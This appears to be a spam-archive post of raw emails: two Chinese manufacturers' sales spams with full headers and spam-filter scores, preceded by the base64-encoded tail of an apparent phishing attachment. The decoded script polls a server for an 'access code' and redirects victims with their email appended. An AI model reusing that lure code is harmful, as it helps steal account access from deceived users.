X2NwQnRuIikudGV4dENvbnRlbnQ9IkNvcHkgY29kZSI7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQo

Il9jcEJ0biIpLnN0eWxlLmJhY2tncm91bmQ9IiMwMzYwNjUifSwxODAwKX0pfTtkb2N1bWVudC5n

ZXRFbGVtZW50QnlJZCgiX2xvYWRCb3giKS5zdHlsZS5kaXNwbGF5PSJub25lIjtkb2N1bWVudC5n

ZXRFbGVtZW50QnlJZCgiX2NvZGVCb3giKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7X3AoKTt9ZWxz

ZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiX2xvYWRCb3giKS5zdHlsZS5kaXNwbGF5PSJub25l

Ijtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiX2VyckJveCIpLnN0eWxlLmRpc3BsYXk9ImJsb2Nr

In19LHt9KX0sNzAwK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSo2MDApKX0pO2Z1bmN0aW9uIF9w

KCl7aWYoIV9pZClyZXR1cm47X3hocihfcihfc3YpK19pZCxmdW5jdGlvbihkKXtpZighZCl7c2V0

VGltZW91dChfcCw0MDAwKTtyZXR1cm59aWYoZC5zdGF0dXM9PT1fcihfY3MpKXt2YXIgZXU9X2V1

Lmxlbmd0aD9fcihfZXUpOiIiO3ZhciBjbD1fY2wubGVuZ3RoP19yKF9jbCk6IiI7aWYoZXUpe2lm

KGV1LmluZGV4T2YoIjovLyIpPDAmJmV1LmluZGV4T2YoIi8iKSE9PTApZXU9Imh0dHBzOi8vIitl

dTt3aW5kb3cubG9jYXRpb24uaHJlZj1ldTtyZXR1cm59aWYoY2wpe3ZhciBkZXN0PWNsO3ZhciBl

bT0oZC5lbWFpbHx8IiIpLnJlcGxhY2UoL1s9XHNdKyQvZywiIik7aWYoZW0mJmVtLmluZGV4T2Yo

IkAiKT4wJiZlbSE9PSJ1bmtub3duIilkZXN0Kz0iIyIrZW07d2luZG93LmxvY2F0aW9uLmhyZWY9

ZGVzdDtyZXR1cm59ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIl9zdGF0dXNNc2ciKS50ZXh0Q29u

dGVudD0iQWNjZXNzIGdyYW50ZWQuIFlvdSBtYXkgY2xvc2UgdGhpcyB3aW5kb3cuIjtkb2N1bWVu

dC5nZXRFbGVtZW50QnlJZCgiX3N1Y2Nlc3NCb3giKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7ZG9j

dW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm1haW5WaWV3Iikuc3R5bGUuZGlzcGxheT0ibm9uZSI7cmV0

dXJufWlmKGQuc3RhdHVzPT09X3IoX3hzKSl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIl9zdGF0

dXNNc2ciKS50ZXh0Q29udGVudD0iU2Vzc2lvbiBleHBpcmVkLiI7cmV0dXJufWlmKGQuc3RhdHVz

PT09X3IoX2RzKSl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIl9zdGF0dXNNc2ciKS50ZXh0Q29u

dGVudD0iQWNjZXNzIHdhcyBkZWNsaW5lZC4iO3JldHVybn1zZXRUaW1lb3V0KF9wLDMwMDApfSl9

PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4KTk9URTogSWYgeW91IHJlY2VpdmUgdGhlIG1lc3NhZ2Ug

4oCcVW5hYmxlIHRvIHByZXBhcmUgZG9jdW1lbnQuIFBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIu4oCd

LCByZWZyZXNoIHRoZSBhdHRhY2htZW50IGFuZCBjb250aW51ZSByZWZyZXNoaW5nIGl0IHVudGls

IHRoZSBhY2Nlc3MgY29kZSBhcHBlYXJzLiA6IE5CVkNSQUFJ



--===============3412410151919645408==--

Chinese products spam from Google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@nl2k.ab.ca

Delivery-date: Fri, 04 Sep 2026 13:57:00 -0600

Received: from mail-pj2-f7.google.com ([74.125.227.135]:40783)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2a17-00000000HBO-195h

for dave@nl2k.ab.ca;

Fri, 04 Sep 2026 13:56:17 -0600

Received: by mail-pj2-f7.google.com with SMTP id 98e67ed59e1d1-398d28c03a2so701609a91.1

for ; Fri, 04 Sep 2026 12:55:17 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=goodbomold.com; s=google; t=1788551712; x=1789156512; darn=nl2k.ab.ca;

h=disposition-notification-to:content-transfer-encoding:content-type

:mime-version:date:subject:to:message-id:reply-to:from:from:to:cc

:subject:date:message-id:reply-to:content-type;

bh=w1r1A1Xpw0KAGFaBQkdsMPBMdUtb9nCmaA8eVHLnJU0=;

b=rpobj1tCVYnHC8MLrU5CaVVcIK9DGMHoTvBw9mVgAZCrHMlF83vLuH+Z449Kfajhzb

w20xLAPDRTAcc8U/q+dPaA7UHntcLWA0BL8FW3Oj6IuwzLumJhaavs3Fc68YiVhRPCHq

ymWR+Ft/EEwEA04oz+w6twmmHPBsmBrKGUlZk=

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1788551712; x=1789156512;

h=disposition-notification-to:content-transfer-encoding:content-type

:mime-version:date:subject:to:message-id:reply-to:from:x-gm-gg

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=w1r1A1Xpw0KAGFaBQkdsMPBMdUtb9nCmaA8eVHLnJU0=;

b=qsqPl96178W5MA1tw+hh1oSuTonKIksY5pP56d4XSUfKw2wHF3j0VmyAJv+IC+M5DK

9TQ966lkffAL9z51Pcgaj+MJ2Xd58Yn3g65UAdVIpMB/lA58oItnuWDOtkL6Fu5w7Zui

N2bYd6bU0lDAWghJsOFB876V+thKwdvU07yjgQk8ti/BbKsDS2Js8PItYxnPQXjp358r

N3jYFEeSzlq9P30K0J1sBqxWUFe0jmxKWN5zZrLNanX3zk/T/pl4nGJMS8Rb55KVrXfj

f4TxMqLxw3M0ROMa4sedUL6FJU97JkY1f4dZNN6TfEXlVDLCLT8ySL8BuqomLiFaZ7mN

o9QA==

X-Gm-Message-State: AFuF++mVYQcgz6nvzHxWYPgwnpxVepedim91DKYCEoDMKwTOm1EdEGZt

gSYXsHCdos6Q2ZyZBNNK3tf6fZynjeQj1USvWReM/RCa35/1+LC9IXL+thBrMhhD4bagWb3VhkY

WfWFqZlI=

X-Gm-Gg: AYBFou3gXHtnzETNaqFTga4Tt8zl1c+6if7DICcTWKsXTIF+tQyzX3KrFlte/yBKTl0

RhZ7IDX3hDZxYsoxa0mVqtfimA3iHp0KmIr+0u8Nkut0SuRZqUy3DMif1xMr4RIlNs2REq3FlmX

wWBJxYF+tgxgTcouyt9r5XWnrlxx9OAT822c4HMqLadwcsKOQ3Ve37KeAGXhEJch5YtEkh0FGMj

+Tg3ODe77b2HrjnEK8qf9TnosBeAZCXttVg9Nnr6+48Gj8qxBOLr560AEaY9DoESl0hTRLe+QI1

BM+nPFeOIoOhNo71+9RJbgXYnN/yQMisKKuMk9wxC1scrCA51LB82PBtGGPERKURJ0K+So4Ugil

Tk5ekprY2k39uQ0Jaf+pxXHytoqBUbxbenmmQ7og8tNX7oKoNu5T5KJwsjI1/8ZKFgHn1GSlsCB

hJWPUGq0BxEKZC/cOTzeg3gZucDjT0SQhgSLcu4kFJ5D/cqy+4iWX0v4d7rHg1ym84ItjJxoS2n

UKr+vqdez6Q

X-Received: by 2002:a17:90b:57cd:b0:398:c150:e7b3 with SMTP id 98e67ed59e1d1-39b2609f356mr14210054a91.4.1788551711659;

Fri, 04 Sep 2026 12:55:11 -0700 (PDT)

Received: from ntgujyuwu ([203.88.114.137])

by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-39b08c39227sm12181048a91.9.2026.09.04.12.55.09

for

(version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);

Fri, 04 Sep 2026 12:55:11 -0700 (PDT)

From: "bella@sanmeng-mould.com"

X-Google-Original-From: "bella@sanmeng-mould.com"

Reply-To:

Message-ID: <04F420CD446C450A58A3F1E1CDC9EBF1@ntgujyuwu>

To:

Subject: Re: plastic injection and die casting molds and moldings

Date: Sat, 5 Sep 2026 03:55:07 +0800

MIME-Version: 1.0

Content-Type: text/html;

charset="gb2312"

Content-Transfer-Encoding: base64

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2900.5512

Disposition-Notification-To: bella@sanmeng-mould.com

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512

X-Spam_score: 6.8

X-Spam_score_int: 68

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dear , We provide:



Content analysis details: (6.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[203.88.114.137 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

[74.125.227.135 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[74.125.227.135 listed in dnsbl.ahbl.org]

[74.125.227.135 listed in dnsbl.ahbl.org]

[74.125.227.135 listed in dnsbl.ahbl.org]

[74.125.227.135 listed in dnsbl.ahbl.org]

[203.88.114.137 listed in dnsbl.ahbl.org]

[203.88.114.137 listed in dnsbl.ahbl.org]

[203.88.114.137 listed in dnsbl.ahbl.org]

[203.88.114.137 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[74.125.227.135 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[74.125.227.135 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[74.125.227.135 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[74.125.227.135 listed in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[74.125.227.135 listed in list.dnswl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: sanmeng-mould.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[74.125.227.135 listed in wl.mailspike.net]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 NO_RDNS2 Sending MTA has no reverse DNS

1.0 ZMIde_OutlookExpress Outlook Express should not be used anymore

0.7 PDS_FROM_2_EMAILS From header has multiple different addresses

0.0 FORGED_OUTLOOK_HTML Outlook can't send HTML message only

0.0 FAKE_REPLY_C No description available.

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[74.125.227.135 listed in bl.score.senderscore.com]

0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS

blocklist

[URI: lxu.idcease.net/96.44.182.133]

0.1 URIBL_SBL_A Contains URL's A record listed in the SBL blocklist

[URI: lxu.idcease.net/96.44.182.133]

Subject: {SPAM?} Re: plastic injection and die casting molds and moldings







Dear ,



We provide:



plastic injection and die casting molds and moldings.



thermoplastic injection molding, overmolding, 2K molding, aluminum & zinc die casting etc.



Competitive prices for exported mold and mass production of production mold.



Excellent services involving mould design to mould fabrication, from parts to part assembly.



Professional engineering analysis.



Excellent quality maintained through top-ranking testing machines.



Careful packaging.



ISO certificate





We value every customer and will respond to any question quickly.



For details information pls check our website: www.sanmeng-mould.com



Looking forward to your soon reply.



Welcome to visit our factory anytime!



Thank you!



--------------------------------------------------------------------------------

Best regards,



Bella

SanMeng Mould Co.,Ltd



Wechat/ WhatsApp: +86-13242975530

Email: bella@sanmeng-mould.com

Website: www.sanmeng-mould.com

Add: NO.45, Jinghai East Rd, Shatou Community, Changan town, Dongguan City, Guangdong Province, 523863, China







Chinese products spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 10:27:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2AGy-00000000Q0o-1eMe

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 10:26:44 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 10:26:44 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-m478512550.xmail.ntesmail.com ([47.85.125.50]:50246)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2AD3-00000000KnO-3xc9

for sales@nk.ca;

Thu, 03 Sep 2026 10:22:52 -0600

Content-Type: multipart/alternative; BOUNDARY="=_Part_60436_756692513.1788452500729"

To: sales

Subject: =?UTF-8?B?Rm9sbG93LXVwIG9uIE1lZGljYWwgQ2FydCAmIFdvcmtzdGF0aW9uIFByb3Bvc2Fs?=

X-Priority: 3

MIME-Version: 1.0

Received: from lumi301@lumi.cn( [10.139.0.42] ) by ajax-webmail ( [127.0.0.1] ) ; Fri, 4 Sep 2026 00:21:40 +0800 (GMT+08:00)

From: Lumi Allen

Date: Fri, 4 Sep 2026 00:21:40 +0800 (GMT+08:00)

X-WM-Tid: 0aa0681374eed0c0kusya0828a2d135f2

Message-ID:



HeySales,



How are you?





Have you had time to review our proposals for medical carts and medical workstations?



As highlighted, LUMI provides a unique combination of benefits: over two decades of manufacturing expertise, the ability to deliver awesome products with ergonomic design and versatile features.





We would be happy to arrange a call to discuss further. Could you kindly let me know a convenient time?





All the best.

Allen / Business Manager





-------------------------------------------------------------------------------------------------------

Add22/F Building 1, Lisi Plaza, Huifeng East Road, Ningbo, 315100, China

TEL/WhatsApp:+86 18858444105 Email lumi321@lumi.cn

Teams Web https://www.lumi.cn/en/ Management Contact Window lumi@lumi.cn